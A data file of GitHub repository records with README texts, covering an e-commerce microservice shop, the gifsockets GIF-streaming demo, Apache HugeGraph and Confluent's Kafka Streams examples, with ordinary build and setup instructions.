* ![tcc-transaction分布式事务](https://github.com/changmingxie/tcc-transaction/blob/master-1.2.x/README.md)
## Web应用的端口
| 名称 | 端口 | 说明 |
|:---------------:|:---------------:|:---------------:|
| Admin | 8100 | 管理端 |
| Cart | 8101 | 购物车 |
| Item | 8102 | 商品详细 |
| Order | 8103 | 订单 |
| Portal | 8104 | 首页 |
| Search | 8105 | 检索商品 |
| SSO | 8106 | 单点 |
| Wishlist | 8107 | 商品收藏 |
## Dubbo服务端口
| 服务名称|Dubbo服务端口|服务说明|
|:---------------:|:---------------:|:---------------:|
| Admin-Service | 20880 |管理端服务|
| Advertisement-Service |20881 |广告服务|
| Cart-Service | 20882 |购物车服务|
| Item-Service | 20883 |商品详细服务|
| Notify-Service | 20884 |消息服务|
| Order-Service | 20885 |订单服务|
| Portal-Service | 20886 |首页服务|
| Redis-Service | 20887 |缓存服务|
| Search-Service | 20888 |检索服务|
| SSO-Service | 20889 |单点服务|
| Wishlist-Service | 20890 |收藏服务|
## Dubbo Admin 管控台
![dubbo.png](https://github.com/laodaobazi/ldbz-shop/blob/master/ldbz-images/dubbo.png)
## Apollo 配置中心
![apollo.png](https://github.com/laodaobazi/ldbz-shop/blob/master/ldbz-images/apollo.png)
## SolrCloud 检索
![solrcloud.png](https://github.com/laodaobazi/ldbz-shop/blob/master/ldbz-images/solrcloud.png)
## maven 构建
![build.png](https://github.com/laodaobazi/ldbz-shop/blob/master/ldbz-images/build.png)
## project 骨架
![frame.png](https://github.com/laodaobazi/ldbz-shop/blob/master/ldbz-images/frame.png)
## 首页效果图
![index.png](https://github.com/laodaobazi/ldbz-shop/blob/master/ldbz-images/index.png)
## 商品明细页效果图
![item.png](https://github.com/laodaobazi/ldbz-shop/blob/master/ldbz-images/item.png)
## 商品检索页效果图
![search.png](https://github.com/laodaobazi/ldbz-shop/blob/master/ldbz-images/search.png)
## 购物车页效果图
![cart.png](https://github.com/laodaobazi/ldbz-shop/blob/master/ldbz-images/cart.png)
## 商品收藏页效果图
![wishlist.png](https://github.com/laodaobazi/ldbz-shop/blob/master/ldbz-images/wishlist.png)
## 后台管理页效果图
![admin.png](https://github.com/laodaobazi/ldbz-shop/blob/master/ldbz-images/admin.png)
## 微信交流群
![wechat.png](https://github.com/laodaobazi/ldbz-shop/blob/master/ldbz-images/wechat.png)
##个人联系方式
### 📮:biao.li@neusoft.com
- 个人QQ [![](http://pub.idqqimg.com/wpa/images/group.png)](http://sighttp.qq.com/msgrd?v=1&uin=444823046)
- 如果这个项目让你有所收获,请Star✨ and Fork有时间我会持续更新下去的。
- 注:如果遇到问题还请Issues,我会尽快回复。 | 0 |
videlalvaro/gifsockets | Real Time communication library using Animated Gifs as a transport™ | 2012-09-14T11:39:00Z | null | # gifsockets
"This library is the websockets of the '90s" - Somebody at Hacker News.
This library shows how to achieve realtime text communication using GIF images as transport.
![Mind Blown](https://raw.github.com/videlalvaro/gifsockets/master/doc/mybrain.gif)
The interesting part is that you can even use IE6 with this library and get the data in Real Time (TM).
Of course this should have been delivered as an April's Fools joke but sadly we are in mid September here in the northern hemisphere.
See it in action in this video: [https://vimeo.com/49447841](https://vimeo.com/49447841).
## How does it work
The idea is pretty simple. We use Animated Gif images to stream data in real time to the browser. Since a gif image doesn't specify how many frames it has, once the browser opens it, it will keep waiting for new frames until you send the bits indicating that there's no more image to fetch.
Pretty simple uh!
And yes. It works in IE6.
## Usage
The usage now is a bit rudimentary and manual. Feel free to improve it and send a PR.
```bash
$ git clone git://github.com/videlalvaro/gifsockets.git
$ cd gifsockets
$ lein deps
% lein repl
```
Then perform the following commands on the Clojure REPL.
```clojure
;; in the repl do the following to import the libs
(use 'gifsockets.core)
(use 'gifsockets.server)
;;
;;Then we declare the tcp server
(def server (tcp-server :port 8081 :handler gif-handler))
(start2 server)
;; wait for a browser connection on port 8081
;; go and open http://localhost:8081/ in Safari or IE6
;; In Chrome it works a bit laggy and in Firefox it doesn't work at all
;;
;; Now let's create the gif encoder that we use to write messages to the browser.
(def encoder (create-gif (.getOutputStream client)))
;;
;;Now we are ready to send messages to that browser client
(add-message encoder "Hello gif-sockets")
;; now you should see a GIF image with the new message on it.
(add-message encoder "Zup zup zup")
(add-message encoder "And so forth")
;;
;; Now let's clean up and close the connection
(.finish encoder)
(.close client)
```
As you can see from the code this handles only one connection in what is called an UPoC (Uber Proof Of Concept).
## Possible uses:
All joking aside I think this is a very low tech way to have say, a website where you could tail logs for instance and you need to do it with a browser that have zero websockets support or something like that.
Or what about progress bars for stuff that your server is doing in the background, say, while it resizes an image?
Yes. You need _gifsockets_.
## NOTE:
If you need a good library for real time communications on the web then I would recommend using [sockjs](https://github.com/sockjs).
## License
Copyright © 2012 Alvaro Videla
The following classes:
- AnimatedGifEncoder.java
- GifDecoder.java
- LZWEncoder.java
- NeuQuant.java
Were taken from this website: [http://www.fmsware.com/stuff/gif.html](http://www.fmsware.com/stuff/gif.html).
And the server code was taken from here [https://github.com/weavejester/tcp-server](https://github.com/weavejester/tcp-server)
The awesome image that illustrates this page was given by the internet.
Distributed under the Eclipse Public License, the same as Clojure.
## CREDITS
I've stole this idea (ehem, took inspiration) from a [chat](http://zesty.ca/chat/) a colleague showed me like three years ago. It wasn't open source back then and I was always wondering how to implement something like that. So kudos to Ka-Ping Yee, who had the original idea.
Thanks [simonw](http://news.ycombinator.com/user?id=simonw) for posting the link to the original chat.
- [@old_sound](https://twitter.com/old_sound).
| 0 |
apache/incubator-hugegraph | A graph database that supports more than 100+ billion data, high performance and scalability (Include OLTP Engine & REST-API & Backends) | 2018-07-18T03:30:20Z | null | <h1 align="center">
<img width="720" alt="hugegraph-logo" src="https://github.com/apache/incubator-hugegraph/assets/38098239/e02ffaed-4562-486b-ba8f-e68d02bb0ea6" style="zoom:100%;" />
</h1>
<h3 align="center">A graph database that supports more than 10 billion data, high performance and scalability</h3>
<div align="center">
[![License](https://img.shields.io/badge/license-Apache%202-0E78BA.svg)](https://www.apache.org/licenses/LICENSE-2.0.html)
[![HugeGraph-CI](https://github.com/apache/incubator-hugegraph/actions/workflows/ci.yml/badge.svg)](https://github.com/apache/incubator-hugegraph/actions/workflows/ci.yml)
[![License checker](https://github.com/apache/incubator-hugegraph/actions/workflows/licence-checker.yml/badge.svg)](https://github.com/apache/incubator-hugegraph/actions/workflows/licence-checker.yml)
[![GitHub Releases Downloads](https://img.shields.io/github/downloads/apache/hugegraph/total.svg)](https://github.com/apache/hugegraph/releases)
</div>
## What is Apache HugeGraph?
[HugeGraph](https://hugegraph.apache.org/) is a fast-speed and highly-scalable [graph database](https://en.wikipedia.org/wiki/Graph_database).
Billions of vertices and edges can be easily stored into and queried from HugeGraph due to its excellent OLTP ability.
As compliance to [Apache TinkerPop 3](https://tinkerpop.apache.org/) framework, various complicated graph queries can be
achieved through [Gremlin](https://tinkerpop.apache.org/gremlin.html)(a powerful graph traversal language).
## Features
- Compliance to [Apache TinkerPop 3](https://tinkerpop.apache.org/), support [Gremlin](https://tinkerpop.apache.org/gremlin.html) & [Cypher](https://en.wikipedia.org/wiki/Cypher) language
- Schema Metadata Management, including VertexLabel, EdgeLabel, PropertyKey and IndexLabel
- Multi-type Indexes, supporting exact query, range query and complex conditions combination query
- Plug-in Backend Store Driver Framework, support `RocksDB`, `Cassandra`, `HBase`, `ScyllaDB`, and `MySQL/Postgre` now and easy to add another backend store driver if needed
- Integration with `Flink/Spark/HDFS`, and friendly to connect other big data platforms
## Quick Start
### 1. Docker Way (Convenient for Test)
We can use `docker run -itd --name=graph -p 8080:8080 hugegraph/hugegraph` to quickly start an inner
HugeGraph server with `RocksDB` (in backgrounds) for **test/dev**.
You can visit [doc page](https://hugegraph.apache.org/docs/quickstart/hugegraph-server/#3-deploy) or
the [README](hugegraph-server/hugegraph-dist/docker/READEME.md) for more details. ([Docker Compose](./hugegraph-server/hugegraph-dist/docker/example))
> Note:
>
> 1. The docker image of hugegraph is a convenience release, but not **official distribution** artifacts. You can find more details from [ASF Release Distribution Policy](https://infra.apache.org/release-distribution.html#dockerhub).
>
> 2. Recommend to use `release tag`(like `1.2.0`) for the stable version. Use `latest` tag to experience the newest functions in development.
### 2. Download Way
Visit [Download Page](https://hugegraph.apache.org/docs/download/download/) and refer the [doc](https://hugegraph.apache.org/docs/quickstart/hugegraph-server/#32-download-the-binary-tar-tarball)
to download the latest release package and start the server.
### 3. Source Building Way
Visit [Source Building Page](https://hugegraph.apache.org/docs/quickstart/hugegraph-server/#33-source-code-compilation) and follow the
steps to build the source code and start the server.
The project [doc page](https://hugegraph.apache.org/docs/) contains more information on HugeGraph
and provides detailed documentation for users. (Structure / Usage / API / Configs...)
And here are links of other **HugeGraph** component/repositories:
1. [hugegraph-toolchain](https://github.com/apache/hugegraph-toolchain) (graph tools **[loader](https://github.com/apache/incubator-hugegraph-toolchain/tree/master/hugegraph-loader)/[dashboard](https://github.com/apache/incubator-hugegraph-toolchain/tree/master/hugegraph-hubble)/[tool](https://github.com/apache/incubator-hugegraph-toolchain/tree/master/hugegraph-tools)/[client](https://github.com/apache/incubator-hugegraph-toolchain/tree/master/hugegraph-client)**)
2. [hugegraph-computer](https://github.com/apache/hugegraph-computer) (integrated **graph computing** system)
3. [hugegraph-commons](https://github.com/apache/hugegraph-commons) (**common & rpc** libs)
4. [hugegraph-website](https://github.com/apache/hugegraph-doc) (**doc & website** code)
5. [hugegraph-ai](https://github.com/apache/incubator-hugegraph-ai) (integrated **Graph AI/LLM/KG** system)
## License
HugeGraph is licensed under [Apache 2.0 License](LICENSE).
## Contributing
- Welcome to contribute to HugeGraph, please see [`How to Contribute`](CONTRIBUTING.md) & [Guidelines](https://hugegraph.apache.org/docs/contribution-guidelines/) for more information.
- Note: It's recommended to use [GitHub Desktop](https://desktop.github.com/) to greatly simplify the PR and commit process.
- Thank you to all the people who already contributed to HugeGraph!
[![contributors graph](https://contrib.rocks/image?repo=apache/hugegraph)](https://github.com/apache/incubator-hugegraph/graphs/contributors)
## Thanks
HugeGraph relies on the [TinkerPop](http://tinkerpop.apache.org) framework, we refer to the storage structure of Titan and the schema definition of DataStax.
Thanks to TinkerPop, thanks to Titan, thanks to DataStax. Thanks to all other organizations or authors who contributed to the project.
You are welcome to contribute to HugeGraph,
and we are looking forward to working with you to build an excellent open-source community.
## Contact Us
- [GitHub Issues](https://github.com/apache/incubator-hugegraph/issues): Feedback on usage issues and functional requirements (quick response)
- Feedback Email: [dev@hugegraph.apache.org](mailto:dev@hugegraph.apache.org) ([subscriber](https://hugegraph.apache.org/docs/contribution-guidelines/subscribe/) only)
- WeChat public account: Apache HugeGraph, welcome to scan this QR code to follow us.
<img src="https://github.com/apache/incubator-hugegraph-doc/blob/master/assets/images/wechat.png?raw=true" alt="QR png" width="300"/>
| 0 |
confluentinc/kafka-streams-examples | Demo applications and code examples for Apache Kafka's Streams API. | 2017-08-18T22:07:36Z | null | # Kafka Streams Examples
This project contains code examples that demonstrate how to implement real-time applications and event-driven
microservices using the Streams API of [Apache Kafka](http://kafka.apache.org/) aka Kafka Streams.
For more information take a look at the
[**latest Confluent documentation on the Kafka Streams API**](http://docs.confluent.io/current/streams/), notably the
[**Developer Guide**](https://docs.confluent.io/platform/current/streams/developer-guide/index.html)
---
Table of Contents
* [Available examples](#available-examples)
* [Examples: Runnable Applications](#examples-apps)
* [Examples: Unit Tests](#examples-unit-tests)
* [Examples: Integration Tests](#examples-integration-tests)
* [Docker Example: Kafka Music demo application](#examples-docker)
* [Examples: Event Streaming Platform](#examples-event-streaming-platform)
* [Requirements](#requirements)
* [Apache Kafka](#requirements-kafka)
* [Confluent Platform](#requirements-confluent-platform)
* [Using IntelliJ or Eclipse](#requirements-ide)
* [Java](#requirements-java)
* [Scala](#requirements-scala)
* [Packaging and running the examples](#packaging-and-running)
* [Development](#development)
* [Version Compatibility Matrix](#version-compatibility)
* [Where to find help](#help)
---
<a name="available-examples"/>
# Available examples
This repository has several branches to help you find the correct code examples for the version of Apache Kafka and/or
Confluent Platform that you are using. See [Version Compatibility Matrix](#version-compatibility) below for details.
There are three kinds of examples:
* **Examples under [src/main/](src/main/)**: These examples are short and concise. Also, you can interactively
test-drive these examples, e.g. against a local Kafka cluster. If you want to actually run these examples, then you
must first install and run Apache Kafka and friends, which we describe in section
[Packaging and running the examples](#packaging-and-running). Each example also states its exact requirements and
instructions at the very top.
* **Examples under [src/test/](src/test/)**: These examples should test applications under [src/main/](src/main/).
Unit Tests with TopologyTestDriver test the stream logic without external system dependencies.
The integration tests use an embedded Kafka
clusters, feed input data to them (using the standard Kafka producer client), process the data using Kafka Streams,
and finally read and verify the output results (using the standard Kafka consumer client).
These examples are also a good starting point to learn how to implement your own end-to-end integration tests.
* **Ready-to-run Docker Examples**: These examples are already built and containerized.
<a name="examples-apps"/>
## Examples: Runnable Applications
Additional examples may be found under [src/main/](src/main/java/io/confluent/examples/streams/).
| Application Name | Concepts used | Java 8+ | Java 7+ | Scala |
| --------------------------- | -------------------------------------------------------- | ------- | ------- | ----- |
| WordCount | DSL, aggregation, stateful | [Java 8+ example](src/main/java/io/confluent/examples/streams/WordCountLambdaExample.java) | | [Scala Example](src/main/scala/io/confluent/examples/streams/WordCountScalaExample.scala) |
| MapFunction | DSL, stateless transformations, `map()` | [Java 8+ example](src/main/java/io/confluent/examples/streams/MapFunctionLambdaExample.java) | | [Scala Example](src/main/scala/io/confluent/examples/streams/MapFunctionScalaExample.scala) |
| SessionWindows | Sessionization of user events, user behavior analysis | | [Java 7+ example](src/main/java/io/confluent/examples/streams/SessionWindowsExample.java)
| GlobalKTable | `join()` between `KStream` and `GlobalKTable` | [Java 8+ example](src/main/java/io/confluent/examples/streams/GlobalKTablesExample.java) | | |
| GlobalStore | "join" between `KStream` and `GlobalStore` | [Java 8+ example](src/main/java/io/confluent/examples/streams/GlobalStoresExample.java) | | |
| PageViewRegion | `join()` between `KStream` and `KTable` | [Java 8+ example](src/main/java/io/confluent/examples/streams/PageViewRegionLambdaExample.java) | [Java 7+ example](src/main/java/io/confluent/examples/streams/PageViewRegionExample.java) | |
| PageViewRegionGenericAvro | Working with data in Generic Avro format | [Java 8+ example](src/main/java/io/confluent/examples/streams/PageViewRegionLambdaExample.java) | [Java 7+ example](src/main/java/io/confluent/examples/streams/PageViewRegionExample.java) | |
| WikipediaFeedSpecificAvro | Working with data in Specific Avro format | [Java 8+ example](src/main/java/io/confluent/examples/streams/WikipediaFeedAvroLambdaExample.java) | [Java 7+ example](src/main/java/io/confluent/examples/streams/WikipediaFeedAvroExample.java) | |
| SecureKafkaStreams | Secure, encryption, client authentication | | [Java 7+ example](src/main/java/io/confluent/examples/streams/SecureKafkaStreamsExample.java) | |
| Sum | DSL, stateful transformations, `reduce()` | [Java 8+ example](src/main/java/io/confluent/examples/streams/SumLambdaExample.java) | | |
| WordCountInteractiveQueries | Interactive Queries, REST, RPC | [Java 8+ example](src/main/java/io/confluent/examples/streams/interactivequeries/WordCountInteractiveQueriesExample.java) | | |
| KafkaMusic | Interactive Queries, State Stores, REST API | [Java 8+ example](src/main/java/io/confluent/examples/streams/interactivequeries/kafkamusic/KafkaMusicExample.java) | | |
| ApplicationReset | Application Reset Tool `kafka-streams-application-reset` | [Java 8+ example](src/main/java/io/confluent/examples/streams/ApplicationResetExample.java) | | |
| Microservice | Microservice ecosystem, state stores, dynamic routing, joins, filtering, branching, stateful operations | [Java 8+ example](src/main/java/io/confluent/examples/streams/microservices) | | |
<a name="examples-unit-tests"/>
## Examples: Unit Tests
The stream processing of Kafka Streams can be **unit tested** with the `TopologyTestDriver` from the
`org.apache.kafka:kafka-streams-test-utils` artifact. The test driver allows you to write sample input into your
processing topology and validate its output.
See the documentation at [Testing Streams Code](https://docs.confluent.io/current/streams/developer-guide/test-streams.html).
<a name="examples-integration-tests"/>
## Examples: Integration Tests
We also provide several **integration tests**, which demonstrate end-to-end data pipelines. Here, we spawn embedded Kafka
clusters and the [Confluent Schema Registry](https://github.com/confluentinc/schema-registry), feed input data to them
(using the standard Kafka producer client), process the data using Kafka Streams, and finally read and verify the output
results (using the standard Kafka consumer client).
Additional examples may be found under [src/test/](src/test/java/io/confluent/examples/streams/).
> Tip: Run `mvn test` to launch the tests.
| Integration Test Name | Concepts used | Java 8+ | Java 7+ | Scala |
| ----------------------------------- | ------------------------------------------- | ------- | ------- | ----- |
| WordCount | DSL, aggregation, stateful | [Java 8+ Example](src/test/java/io/confluent/examples/streams/WordCountLambdaIntegrationTest.java) | | [Scala Example](src/test/scala/io/confluent/examples/streams/WordCountScalaIntegrationTest.scala) |
| WordCountInteractiveQueries | Interactive Queries, REST, RPC | | [Java 7+ Example](src/test/java/io/confluent/examples/streams/interactivequeries/WordCountInteractiveQueriesExampleTest.java) | |
| Aggregate | DSL, `groupBy()`, `aggregate()` | [Java 8+ Example](src/test/java/io/confluent/examples/streams/AggregateTest.java) | | [Scala Example](src/test/scala/io/confluent/examples/streams/AggregateScalaTest.scala) |
| CustomStreamTableJoin | DSL, Processor API, Transformers | [Java 8+ Example](src/test/java/io/confluent/examples/streams/CustomStreamTableJoinIntegrationTest.java) | | |
| EventDeduplication | DSL, Processor API, Transformers | [Java 8+ Example](src/test/java/io/confluent/examples/streams/EventDeduplicationLambdaIntegrationTest.java) | | |
| GlobalKTable | DSL, global state | | [Java 7+ Example](src/test/java/io/confluent/examples/streams/GlobalKTablesExampleTest.java) | |
| GlobalStore | DSL, global state, Transformers | | [Java 7+ Example](src/test/java/io/confluent/examples/streams/GlobalStoresExampleTest.java) | |
| HandlingCorruptedInputRecords | DSL, `flatMap()` | [Java 8+ Example](src/test/java/io/confluent/examples/streams/HandlingCorruptedInputRecordsIntegrationTest.java) | | |
| KafkaMusic (Interactive Queries) | Interactive Queries, State Stores, REST API | | [Java 7+ Example](src/test/java/io/confluent/examples/streams/interactivequeries/kafkamusic/KafkaMusicExampleTest.java) | |
| MapFunction | DSL, stateless transformations, `map()` | [Java 8+ Example](src/test/java/io/confluent/examples/streams/MapFunctionLambdaIntegrationTest.java) | | |
| MixAndMatch DSL + Processor API | Integrating DSL and Processor API | [Java 8+ Example](src/test/java/io/confluent/examples/streams/MixAndMatchLambdaIntegrationTest.java) | | |
| PassThrough | DSL, `stream()`, `to()` | | [Java 7+ Example](src/test/java/io/confluent/examples/streams/PassThroughIntegrationTest.java) | |
| PoisonPill | DSL, `flatMap()` | [Java 8+ Example](src/test/java/io/confluent/examples/streams/HandlingCorruptedInputRecordsIntegrationTest.java) | | |
| ProbabilisticCounting\*\*\* | DSL, Processor API, custom state stores | | | [Scala Example](src/test/scala/io/confluent/examples/streams/ProbabilisticCountingScalaIntegrationTest.scala) |
| Reduce (Concatenate) | DSL, `groupByKey()`, `reduce()` | [Java 8+ Example](src/test/java/io/confluent/examples/streams/ReduceTest.java) | | [Scala Example](src/test/scala/io/confluent/examples/streams/ReduceScalaTest.scala) |
| SessionWindows | DSL, windowed aggregation, sessionization | | [Java 7+ Example](src/test/java/io/confluent/examples/streams/SessionWindowsExampleTest.java) | |
| StatesStoresDSL | DSL, Processor API, Transformers | [Java 8+ Example](src/test/java/io/confluent/examples/streams/StateStoresInTheDSLIntegrationTest.java) | | |
| StreamToStreamJoin | DSL, `join()` between KStream and KStream | | [Java 7+ Example](src/test/java/io/confluent/examples/streams/StreamToStreamJoinIntegrationTest.java) | |
| StreamToTableJoin | DSL, `join()` between KStream and KTable | | [Java 7+ Example](src/test/java/io/confluent/examples/streams/StreamToTableJoinIntegrationTest.java) | [Scala Example](src/test/scala/io/confluent/examples/streams/StreamToTableJoinScalaIntegrationTest.scala) |
| Sum | DSL, aggregation, stateful, `reduce()` | [Java 8+ Example](src/test/java/io/confluent/examples/streams/SumLambdaIntegrationTest.java) | | |
| TableToTableJoin | DSL, `join()` between KTable and KTable | | [Java 7+ Example](src/test/java/io/confluent/examples/streams/TableToTableJoinIntegrationTest.java) | |
| UserCountsPerRegion | DSL, aggregation, stateful, `count()` | [Java 8+ Example](src/test/java/io/confluent/examples/streams/UserCountsPerRegionLambdaIntegrationTest.java) | | |
| ValidateStateWithInteractiveQueries | Interactive Queries for validating state | | [Java 8+ Example](src/test/java/io/confluent/examples/streams/ValidateStateWithInteractiveQueriesLambdaIntegrationTest.java) | | |
| GenericAvro | Working with data in Generic Avro format | | [Java 7+ Example](src/test/java/io/confluent/examples/streams/GenericAvroIntegrationTest.java) | [Scala Example](src/test/scala/io/confluent/examples/streams/GenericAvroScalaIntegrationTest.scala) |
| SpecificAvro | Working with data in Specific Avro format | | [Java 7+ Example](src/test/java/io/confluent/examples/streams/SpecificAvroIntegrationTest.java) | [Scala Example](src/test/scala/io/confluent/examples/streams/SpecificAvroScalaIntegrationTest.scala) |
\*\*\*demonstrates how to probabilistically count items in an input stream by implementing a custom state store
([CMSStore](src/main/scala/io/confluent/examples/streams/algebird/CMSStore.scala)) that is backed by a
[Count-Min Sketch](https://en.wikipedia.org/wiki/Count%E2%80%93min_sketch) data structure (with the CMS implementation
of [Twitter Algebird](https://github.com/twitter/algebird))
<a name="examples-docker"/>
# Docker Example: Kafka Music demo application
This containerized example launches:
* Confluent's Kafka Music demo application for the Kafka Streams API, which makes use of
[Interactive Queries](http://docs.confluent.io/current/streams/developer-guide.html)
* a single-node Apache Kafka cluster with a single-node ZooKeeper ensemble
* a [Confluent Schema Registry](https://github.com/confluentinc/schema-registry) instance
The Kafka Music application demonstrates how to build of a simple music charts application that continuously computes,
in real-time, the latest charts such as latest Top 5 songs per music genre. It exposes its latest processing results
-- the latest charts -- via Kafka’s [Interactive Queries](http://docs.confluent.io/current/streams/developer-guide.html#interactive-queries)
feature via a REST API. The application's input data is in Avro format, hence the use of Confluent Schema Registry,
and comes from two sources: a stream of play events (think: "song X was played") and a stream of song metadata ("song X
was written by artist Y").
You can find detailed documentation at
https://docs.confluent.io/current/streams/kafka-streams-examples/docs/index.html.
<a name="event-streaming-platform"/>
# Examples: Event Streaming Platform
For additional examples that showcase Kafka Streams applications within an event streaming platform, please refer to the [examples GitHub repository](https://github.com/confluentinc/examples).
<a name="requirements"/>
# Requirements
<a name="requirements-kafka"/>
## Apache Kafka
The code in this repository requires Apache Kafka 0.10+ because from this point onwards Kafka includes its
[Kafka Streams](https://github.com/apache/kafka/tree/trunk/streams) library.
See [Version Compatibility Matrix](#version-compatibility) for further details, as different branches of this
repository may have different Kafka requirements.
> **For the `master` branch:** To build a development version, you typically need the latest `trunk` version of Apache Kafka
> (cf. `kafka.version` in [pom.xml](pom.xml) for details). The following instructions will build and locally install
> the latest `trunk` Kafka version:
>
> ```shell
> $ git clone git@github.com:apache/kafka.git
> $ cd kafka
> $ git checkout trunk
>
> # Now build and install Kafka locally
> $ ./gradlew clean && ./gradlewAll install
> ```
<a name="requirements-confluent-platform"/>
## Confluent Platform
The code in this repository requires [Confluent Schema Registry](https://github.com/confluentinc/schema-registry).
See [Version Compatibility Matrix](#version-compatibility) for further details, as different branches of this
repository have different Confluent Platform requirements.
* [Confluent Platform Quickstart](http://docs.confluent.io/current/quickstart.html) (how to download and install)
* [Confluent Platform documentation](http://docs.confluent.io/current/)
> **For the `master` branch:** To build a development version, you typically need the latest `master` version of Confluent Platform's
> Schema Registry (cf. `confluent.version` in [pom.xml](pom.xml), which is set by the upstream
> [Confluent Common](https://github.com/confluentinc/common) project).
> The following instructions will build and locally install the latest `master` Schema Registry version, which includes
> building its dependencies such as [Confluent Common](https://github.com/confluentinc/common) and
> [Confluent Rest Utils](https://github.com/confluentinc/rest-utils).
> Please read the [Schema Registry README](https://github.com/confluentinc/schema-registry) for details.
>
> ```shell
> $ git clone https://github.com/confluentinc/common.git
> $ cd common
> $ git checkout master
>
> # Build and install common locally
> $ mvn -DskipTests=true clean install
>
> $ git clone https://github.com/confluentinc/rest-utils.git
> $ cd rest-utils
> $ git checkout master
>
> # Build and install rest-utils locally
> $ mvn -DskipTests=true clean install
>
> $ git clone https://github.com/confluentinc/schema-registry.git
> $ cd schema-registry
> $ git checkout master
>
> # Now build and install schema-registry locally
> $ mvn -DskipTests=true clean install
> ```
Also, each example states its exact requirements at the very top.
<a name="requirements-ide"/>
## Using IntelliJ or Eclipse
If you are using an IDE and import the project you might end up with a "missing import / class not found" error.
Some Avro classes are generated from schema files and IDEs sometimes do not generate these classes automatically.
To resolve this error, manually run:
```shell
$ mvn -Dskip.tests=true compile
```
If you are using Eclipse, you can also right-click on `pom.xml` file and choose _Run As > Maven generate-sources_.
<a name="requirements-java"/>
## Java 8+
Some code examples require Java 8+, primarily because of the usage of
[lambda expressions](https://docs.oracle.com/javase/tutorial/java/javaOO/lambdaexpressions.html).
IntelliJ IDEA users:
* Open _File > Project structure_
* Select "Project" on the left.
* Set "Project SDK" to Java 1.8.
* Set "Project language level" to "8 - Lambdas, type annotations, etc."
<a name="requirements-scala"/>
## Scala
> Scala is required only for the Scala examples in this repository. If you are a Java developer you can safely ignore
> this section.
If you want to experiment with the Scala examples in this repository, you need a version of Scala that supports Java 8
and SAM / Java lambda (e.g. Scala 2.11 with `-Xexperimental` compiler flag, or 2.12).
If you are compiling with Java 9+, you'll need to have Scala version 2.12+ to be compatible with the Java version.
<a name="packaging-and-running"/>
# Packaging and running the Application Examples
The instructions in this section are only needed if you want to interactively test-drive the
[application examples](#examples-apps) under [src/main/](src/main/).
> **Tip:** If you only want to run the integration tests (`mvn test`), then you do not need to package or install
> anything -- just run `mvn test`. These tests launch embedded Kafka clusters.
The first step is to install and run a Kafka cluster, which must consist of at least one Kafka broker as well as
at least one ZooKeeper instance. Some examples may also require a running instance of Confluent schema registry.
The [Confluent Platform Quickstart](http://docs.confluent.io/current/quickstart.html) guide provides the full
details.
In a nutshell:
```shell
# Ensure you have downloaded and installed Confluent Platform as per the Quickstart instructions above.
# Start ZooKeeper
$ ./bin/zookeeper-server-start ./etc/kafka/zookeeper.properties
# In a separate terminal, start Kafka broker
$ ./bin/kafka-server-start ./etc/kafka/server.properties
# In a separate terminal, start Confluent Schema Registry
$ ./bin/schema-registry-start ./etc/schema-registry/schema-registry.properties
# Again, please refer to the Confluent Platform Quickstart for details such as
# how to download Confluent Platform, how to stop the above three services, etc.
```
The next step is to create a standalone jar ("fat jar") of the [application examples](#examples-apps):
```shell
# Create a standalone jar ("fat jar")
$ mvn clean package
# >>> Creates target/kafka-streams-examples-7.8.0-0-standalone.jar
```
> Tip: If needed, you can disable the test suite during packaging, for example to speed up the packaging or to lower
> JVM memory usage:
>
> ```shell
> $ mvn -DskipTests=true clean package
> ```
You can now run the application examples as follows:
```shell
# Run an example application from the standalone jar. Here: `WordCountLambdaExample`
$ java -cp target/kafka-streams-examples-7.8.0-0-standalone.jar \
io.confluent.examples.streams.WordCountLambdaExample
```
The application will try to read from the specified input topic (in the above example it is ``streams-plaintext-input``),
execute the processing logic, and then try to write back to the specified output topic (in the above example it is ``streams-wordcount-output``).
In order to observe the expected output stream, you will need to start a console producer to send messages into the input topic
and start a console consumer to continuously read from the output topic. More details in how to run the examples can be found
in the [java docs](src/main/java/io/confluent/examples/streams/WordCountLambdaExample.java#L31) of each example code.
If you want to turn on log4j while running your example application, you can edit the
[log4j.properties](src/main/resources/log4j.properties) file and then execute as follows:
```shell
# Run an example application from the standalone jar. Here: `WordCountLambdaExample`
$ java -cp target/kafka-streams-examples-7.8.0-0-standalone.jar \
-Dlog4j.configuration=file:src/main/resources/log4j.properties \
io.confluent.examples.streams.WordCountLambdaExample
```
Keep in mind that the machine on which you run the command above must have access to the Kafka/ZooKeeper clusters you
configured in the code examples. By default, the code examples assume the Kafka cluster is accessible via
`localhost:9092` (aka Kafka's ``bootstrap.servers`` parameter) and the ZooKeeper ensemble via `localhost:2181`.
You can override the default ``bootstrap.servers`` parameter through a command line argument.
<a name="development"/>
# Development
This project uses the standard maven lifecycle and commands such as:
```shell
$ mvn compile # This also generates Java classes from the Avro schemas
$ mvn test # Runs unit and integration tests
$ mvn package # Packages the application examples into a standalone jar
```
<a name="version-compatibility"/>
# Version Compatibility Matrix
| Branch (this repo) | Confluent Platform | Apache Kafka |
| ----------------------------------------|--------------------|-------------------|
| [5.4.x](../../../tree/5.4.x/)\* | 5.4.0-SNAPSHOT | 2.4.0-SNAPSHOT |
| [5.3.0-post](../../../tree/5.3.0-post/) | 5.3.0 | 2.3.0 |
| [5.2.2-post](../../../tree/5.2.2-post/) | 5.2.2 | 2.2.1 |
| [5.2.1-post](../../../tree/5.2.1-post/) | 5.2.1 | 2.2.1 |
| [5.1.0-post](../../../tree/5.1.0-post/) | 5.1.0 | 2.1.0 |
| [5.0.0-post](../../../tree/5.0.0-post/) | 5.0.0 | 2.0.0 |
| [4.1.0-post](../../../tree/4.1.0-post/) | 4.1.0 | 1.1.0 |
| [4.0.0-post](../../../tree/4.4.0-post/) | 4.0.0 | 1.0.0 |
| [3.3.0-post](../../../tree/3.3.0-post/) | 3.3.0 | 0.11.0 |
\*You must manually build the `2.3` version of Apache Kafka and the `5.3.x` version of Confluent Platform. See instructions above.
The `master` branch of this repository represents active development, and may require additional steps on your side to
make it compile. Check this README as well as [pom.xml](pom.xml) for any such information.
<a name="help"/>
# Where to find help
* Looking for documentation on Apache Kafka's Streams API?
* We recommend to read the [Kafka Streams chapter](https://docs.confluent.io/current/streams/) in the
[Confluent Platform documentation](https://docs.confluent.io/current/).
* Watch our talk
[Rethinking Stream Processing with Apache Kafka](https://www.youtube.com/watch?v=ACwnrnVJXuE)
* Running into problems to use the demos and examples in this project?
* First, you should check our [FAQ wiki](https://github.com/confluentinc/kafka-streams-examples/wiki/FAQ) for an answer first.
* If the FAQ doesn't help you, [create a new GitHub issue](https://github.com/confluentinc/kafka-streams-examples/issues).
* Want to ask a question, report a bug in Kafka or its Kafka Streams API, request a new Kafka feature?
